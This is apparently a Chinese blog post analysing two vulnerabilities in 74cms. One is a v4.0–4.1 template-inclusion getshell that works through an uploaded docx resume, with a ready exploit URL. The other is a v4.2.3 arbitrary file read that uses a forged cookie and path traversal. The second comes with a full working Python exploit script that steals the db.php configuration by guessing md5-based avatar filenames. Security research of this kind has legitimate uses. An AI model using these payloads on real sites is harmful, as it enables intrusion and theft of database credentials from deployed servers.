74cms 漏洞分析

74cms v4.0-v4.1 前台getshell

参考文章

漏洞发生在\Application\Home\Controller\MController.class.php
代码如下

	public function index(){
		if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){
            redirect(build_mobile_url());
		}
        $type = I('get.type','android','trim');
        $android_download_url = C('qscms_android_download')?C('qscms_android_download'):'http://demo2.7yun.com/phone/apk/74cms.apk';
        $ios_download_url = C('qscms_ios_download')?C('qscms_ios_download'):'';
        $this->assign('android_download_url',$android_download_url);
        $this->assign('ios_download_url',$ios_download_url);
        $this->assign('type',$type);
        $this->display('M/'.$type);
    }

可以看到在获取了用户传递进来的$type变量之后,直接带入display函数,display函数在thinkphp中一般是用来显示模板html文件。不妨跟进看一下

ThinkPHP\Library\Think\Controller.class.php中的display函数仅仅调用了下view中的函数

    protected function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
        $this->view->display($templateFile,$charset,$contentType,$content,$prefix);
    }

再次跟进

    public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
        G('viewStartTime');
        // 视图开始标签
        Hook::listen('view_begin',$templateFile);
        // 解析并获取模板内容
        $content = $this->fetch($templateFile,$content,$prefix);
        // 输出模板内容
        $this->render($content,$charset,$contentType);
        // 视图结束标签
        Hook::listen('view_end');
    }

主要就是获取模板内容,也就是之前display传入的参数,然后解析并输出。然而thinkphp试允许用户在template中使用php代码的

然后就是要找一个可以上传文件的点,图片上传会被进行处理,这里我们选择上传docx个人简历

返回的json中能看到文件的路径

这样就可以包含这个伪造的template

index.php?m=&c=M&a=index&type=../data/upload/word_resume/1806/06/5b17a62407bac.docx

 

74cms v4.2.3 任意文件读取

漏洞发生在\Application\Home\Controller\MembersController.class.php文件中,219行的位置处

            if('bind' == I('post.org','','trim') && cookie('members_bind_info')){
                $user_bind_info = object_to_array(cookie('members_bind_info'));
                $user_bind_info['uid'] = $data['uid'];
                $oauth = new \Common\qscmslib\oauth($user_bind_info['type']);
                $oauth->bindUser($user_bind_info);
                $this->_save_avatar($user_bind_info['temp_avatar'],$data['uid']);//临时头像转换
                cookie('members_bind_info', NULL);//清理绑定COOKIE
            }

这里能看到程序接受了post传递过来的org参数,以及cookie中的members_bind_info数组
然后实例化了一个oauth类,然后生成了个临时头像,查看一下_save_avatar的代码
大约在571行处

    protected function _save_avatar($avatar,$uid){
        if(!$avatar) return false;
        $path = C('qscms_attach_path').'avatar/temp/'.$avatar;
        $image = new \Common\ORG\ThinkImage();
        $date = date('ym/d/');
        $save_avatar=C('qscms_attach_path').'avatar/'.$date;//图片存储路径
        if(!is_dir($save_avatar)) mkdir($save_avatar,0777,true);
        $savePicName = md5($uid.time()).".jpg";
        $filename = $save_avatar.$savePicName;
        $size = explode(',',C('qscms_avatar_size'));
        copy($path, $filename);
        foreach ($size as $val) {
            $image->open($path)->thumb($val,$val,3)->save("{$filename}._{$val}x{$val}.jpg");
        }
        M('Members')->where(array('uid'=>$uid))->setfield('avatars',$date.$savePicName);
        @unlink($path);
    }

这里能看到将传入的第一个参数进行路径的拼接,然后直接将内容存入一个.jpg的图片文件中
在之前的代码中能看到

…
$user_bind_info = object_to_array(cookie('members_bind_info'));
……
$this->_save_avatar($user_bind_info['temp_avatar'],$data['uid']);

传入的第一个参数是直接从cookie中获取的,而cookie恰巧也是我们能够伪造的。就可以利用相对路径进行路径跳转。
图片也是可以直接进行下载的,从而引发任意文件读取。
接下来看下需要达成任意文件读取所需要的一些条件

  • ajax==1,reg_type==2,utype==2,ucenter==bind,org=bind  (post中的数据)
  • members_bind_info[type] == qq/ sina / tabao
  • members_bind_info[username] 不能重复
  • members_bind_info[uid] 需要设置一个未被注册的id
  • members_bind_info[temp_avatar]则是要读取的文件路径

最后就是要知道被移动的文件位置。

data\upload\avatar\1806\11\1db0ab21cfccf510759cf4b2ec60ba7c.jpg

可以看到是在upload下一个时间的文件夹,文件名则是一串哈希值,哈希的生成规律如下

$savePicName = md5($uid.time()).".jpg";

由uid和时间time以同进行哈希得到的值。最后exp如下

#encoding=utf8
import time, random, string, hashlib 
import requests

def post_exp():
	url = root_url+'/index.php'
	username = ''.join(random.sample(string.ascii_letters, 6))
	uid = random.randint(100,999999)
	params = {'m':'','c':'members','a':'register'}
	data = {'ajax':'1','org':'bind','reg_type':'2','utype':'2','ucenter':'bind'}
	cookies = {	'members_bind_info[temp_avatar]':'../../../../Application/Common/Conf/db.php',
				'members_bind_info[type]':'qq',
				'members_uc_info[password]':username,
				'members_uc_info[uid]':str(uid),
				'members_uc_info[username]':username
				}
	r = requests.post(url,params=params,data=data,cookies=cookies)
	pic_time = int(time.time())
	return uid,pic_time

def get_picname(uid,pic_time):
	localtime = time.localtime(pic_time)
	unhash_name = str(uid)+str(pic_time)
	hash_name = hashlib.md5(unhash_name.encode('utf8')).hexdigest()+'.jpg'
	pic_url = root_url+'/data/upload/avatar/{}{}/{}/'.format(str(localtime[0])[2:],str(localtime[1]).zfill(2),localtime[2])+hash_name
	return pic_url

def main():	
	global root_url
	root_url = 'http://localhost/74cms4.2.3'

	uid,pic_time = post_exp()
	for pt in range(pic_time-10,pic_time+10):
		pic_url = get_picname(uid,pt)
		r = requests.get(pic_url)
		if r.status_code == 200:
			print("Vulnerable!")
			print(r.text)
			exit()

		print(pt,pic_url,r)
	print("may be unvulnerable")
		

if __name__ == '__main__':
	main()

成功读取到db.php配置文件

发表评论

电子邮件地址不会被公开。 必填项已用*标注